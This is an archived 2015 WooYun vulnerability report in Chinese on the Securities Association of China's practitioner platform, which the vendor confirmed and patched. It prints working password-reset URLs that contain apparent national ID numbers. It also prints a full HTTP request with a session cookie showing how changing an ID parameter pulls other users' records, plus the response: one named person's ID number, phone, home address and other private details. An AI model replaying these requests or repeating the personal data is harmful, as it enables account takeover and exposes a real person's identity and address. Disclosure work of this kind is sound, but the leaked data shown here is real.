漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0132072
漏洞标题：中国证券业协会从业人员管理平台设计缺陷可重置密码+未授权访问人员敏感信息
相关厂商：中国证券业协会
漏洞作者： prolog
提交时间：2015-08-06 17:52
修复时间：2015-09-24 08:34
公开时间：2015-09-24 08:34
漏洞类型：未授权访问/权限绕过
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-06： 细节已通知厂商并且等待厂商处理中
2015-08-10： 厂商已经确认，细节仅向厂商公开
2015-08-20： 细节向核心白帽子及相关领域专家公开
2015-08-30： 细节向普通白帽子公开
2015-09-09： 细节向实习白帽子公开
2015-09-24： 细节向公众公开
简要描述：
中国证券业协会从业人员管理平台设计缺陷可直接重置密码+未授权访问人员敏感信息
详细说明：
百度直接查到重置密码链接,点击确定就重置为000000
http://person.sac.net.cn/pages/retrievePassword/passwordreset.html?String=01&println=C20347&emi_paper_no2=31010919870930352X&template=10061154048
http://person.sac.net.cn/pages/retrievePassword/passwordreset.html?String=01&println=C08075&emi_paper_no2=339005198201081840&template=39908079
重置，登录
查询用户信息接口，按下面的参数，修改sui_id就可以查看其他用户信息
POST /pages/personal/personal!search.action HTTP/1.1
Host: person.sac.net.cn
Connection: keep-alive
Content-Length: 95
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://person.sac.net.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://person.sac.net.cn/pages/personal/personal-add.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: BIGipServerperson=1917888704.20480.0000; JSESSIONID=5QKZVC8FqlvVCqMGF9q2snSpvH26J54znd2Hbn1tJMMtmThCnLXh!1565322051
filter_EQS_a#sui_id=39908045&filter_EQS_pa#pra_id=&sqlkey=personal&sqlval=SEARCH_RP_PERSON_INFO
[{"RPI_IS_EJOY":"否","LOGINNAME":"C08045","AOI_ID":null,"MSC_NAME":"未婚","PSC_NAME":null,"EMI_NAME":"叶庆德","ECO_NAME":"本科","NC_NAME":"汉族 ","ADI_NAME":null,"TCOD_NAME":"无","RPI_PC_NAME":"理财经理","REGIONTC_NAME":null,"SCO_NAME":"男","NAC_NAME":"中国","AOI_NAME":null,"BTI_NAME":"证券经纪","CTCE_NAME":"身份证","SUI_NAME":"叶庆德","RPI_PHOTO_PATH":"20080102/registrationRpInfo/136386205775050119.jpg","RPI_OLD_NAME":null,"RPI_BIRTH_DATE":"1983-08-26","RPI_PASSPORT_ADDRESS":null,"RPI_PASSPORT_DATE":null,"RPI_WORKING_YEARS":"2","RPI_PHONE":"13738108255","RPI_EMAIL":"[email protected]","RPI_HIRING_DATE":"2010-06-10","RPI_OFFICE_PHONE":"0571-87983060","RPI_GET_TITLES_DATE":null,"RPI_DELEGATE_START_DATE":"2010-06-10","RPI_DELEGATE_END_DATE":"1900-01-01","RPI_PRACTICE_GEOGRAPHICAL":null,"RPI_SERVICE_DEPARTMENT":null,"RPI_BIRTH_ADDRESS":"浙江省温州市文成县","RPI_HOME_ADDRESS":"浙江省杭州市江干区红五月社区5号1单元405室","RPI_HOME_POSTCODE":"310000","RPI_OFFICE_ADDRESS":"浙江省杭州市西湖县杭州文三路535号莱茵达大厦1201","RPI_OFFICE_POSTCODE":"310000","RPI_HOME_PHONE":"0571-85215111","RPI_NAME":"叶庆德","RPI_PAPER_NO":"330328198308265335","RPI_FAX":null,"CTCE_ID":"01","RPI_IF_AQ":"00","MSC_ID":"02","PSC_ID":null,"EMI_ID":"39908045","ECO_ID":"04","NC_ID":"0","ADI_ID":null,"TCOD_ID":"04","REGIONTC_ID":"6","SCO_ID":"01","NAC_ID":"01","BTI_ID":"1","SUI_ID":"39908045","RPI_BIRTH_PROVINCE":"浙江","RPI_BIRTH_PROVINCE_TYPE":"01","RPI_BIRTH_CITY":"温州","RPI_BIRTH_CITY_TYPE":"01","RPI_BIRTH_COUNTY":"文成","RPI_BIRTH_COUNTY_TYPE":"01","RPI_BIRTH":null,"RPI_HOME_PROVINCE":"浙江","RPI_HOME_PROVINCE_TYPE":"01","RPI_HOME_CITY":"杭州","RPI_HOME_CITY_TYPE":"01","RPI_HOME_COUNTY":"江干","RPI_HOME_COUNTY_TYPE":"03","RPI_HOME":"红五月社区5号1单元405室","RPI_OFFICE_PROVINCE":"浙江","RPI_OFFICE_PROVINCE_TYPE":"01","RPI_OFFICE_CITY":"杭州","RPI_OFFICE_CITY_TYPE":"01","RPI_OFFICE_COUNTY":"西湖","RPI_OFFICE_COUNTY_TYPE":"01","RPI_OFFICE":"杭州文三路535号莱茵达大厦1201","RPI_ID":"39908045","PRA_ID":"-170827","CTI_ID":"1","PRA_ATTACHMENT":null,"RPI_EMP_NO":null},{"RPI_IS_EJOY":"否","LOGINNAME":"C08045","AOI_ID":null,"MSC_NAME":"未婚","PSC_NAME":null,"EMI_NAME":"叶庆德","ECO_NAME":"本科","NC_NAME":"汉族 ","ADI_NAME":null,"TCOD_NAME":"无","RPI_PC_NAME":"理财经理","REGIONTC_NAME":null,"SCO_NAME":"男","NAC_NAME":"中国","AOI_NAME":null,"BTI_NAME":"证券经纪","CTCE_NAME":"身份证","SUI_NAME":"叶庆德","RPI_PHOTO_PATH":"20080102/registrationRpInfo/136386205775050119.jpg","RPI_OLD_NAME":null,"RPI_BIRTH_DATE":"1983-08-26","RPI_PASSPORT_ADDRESS":null,"RPI_PASSPORT_DATE":null,"RPI_WORKING_YEARS":"2","RPI_PHONE":"13738108255","RPI_EMAIL":"[email protected]","RPI_HIRING_DATE":"2010-06-10","RPI_OFFICE_PHONE":"0571-87983060","RPI_GET_TITLES_DATE":null,"RPI_DELEGATE_START_DATE":"2010-06-10","RPI_DELEGATE_END_DATE":"1900-01-01","RPI_PRACTICE_GEOGRAPHICAL":null,"RPI_SERVICE_DEPARTMENT":null,"RPI_BIRTH_ADDRESS":"浙江省温州市文成县","RPI_HOME_ADDRESS":"浙江省杭州市江干区红五月社区5号1单元405室","RPI_HOME_POSTCODE":"310000","RPI_OFFICE_ADDRESS":"浙江省杭州市西湖县杭州文三路535号莱茵达大厦1201","RPI_OFFICE_POSTCODE":"310000","RPI_HOME_PHONE":"0571-85215111","RPI_NAME":"叶庆德","RPI_PAPER_NO":"330328198308265335","RPI_FAX":null,"CTCE_ID":"01","RPI_IF_AQ":"00","MSC_ID":"02","PSC_ID":null,"EMI_ID":"39908045","ECO_ID":"04","NC_ID":"0","ADI_ID":null,"TCOD_ID":"04","REGIONTC_ID":"6","SCO_ID":"01","NAC_ID":"01","BTI_ID":"1","SUI_ID":"39908045","RPI_BIRTH_PROVINCE":"浙江","RPI_BIRTH_PROVINCE_TYPE":"01","RPI_BIRTH_CITY":"温州","RPI_BIRTH_CITY_TYPE":"01","RPI_BIRTH_COUNTY":"文成","RPI_BIRTH_COUNTY_TYPE":"01","RPI_BIRTH":null,"RPI_HOME_PROVINCE":"浙江","RPI_HOME_PROVINCE_TYPE":"01","RPI_HOME_CITY":"杭州","RPI_HOME_CITY_TYPE":"01","RPI_HOME_COUNTY":"江干","RPI_HOME_COUNTY_TYPE":"03","RPI_HOME":"红五月社区5号1单元405室","RPI_OFFICE_PROVINCE":"浙江","RPI_OFFICE_PROVINCE_TYPE":"01","RPI_OFFICE_CITY":"杭州","RPI_OFFICE_CITY_TYPE":"01","RPI_OFFICE_COUNTY":"西湖","RPI_OFFICE_COUNTY_TYPE":"01","RPI_OFFICE":"杭州文三路535号莱茵达大厦1201","RPI_ID":"39908045","PRA_ID":"8888839908045","CTI_ID":"1","PRA_ATTACHMENT":null,"RPI_EMP_NO":null}]
漏洞证明：
.
修复方案：
。。
版权声明：转载请注明来源 prolog@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2015-08-10 08:32
厂商回复：
确认是漏洞，目前已经修改了程序，增加了越权访问限制，谢谢。
最新状态：
暂无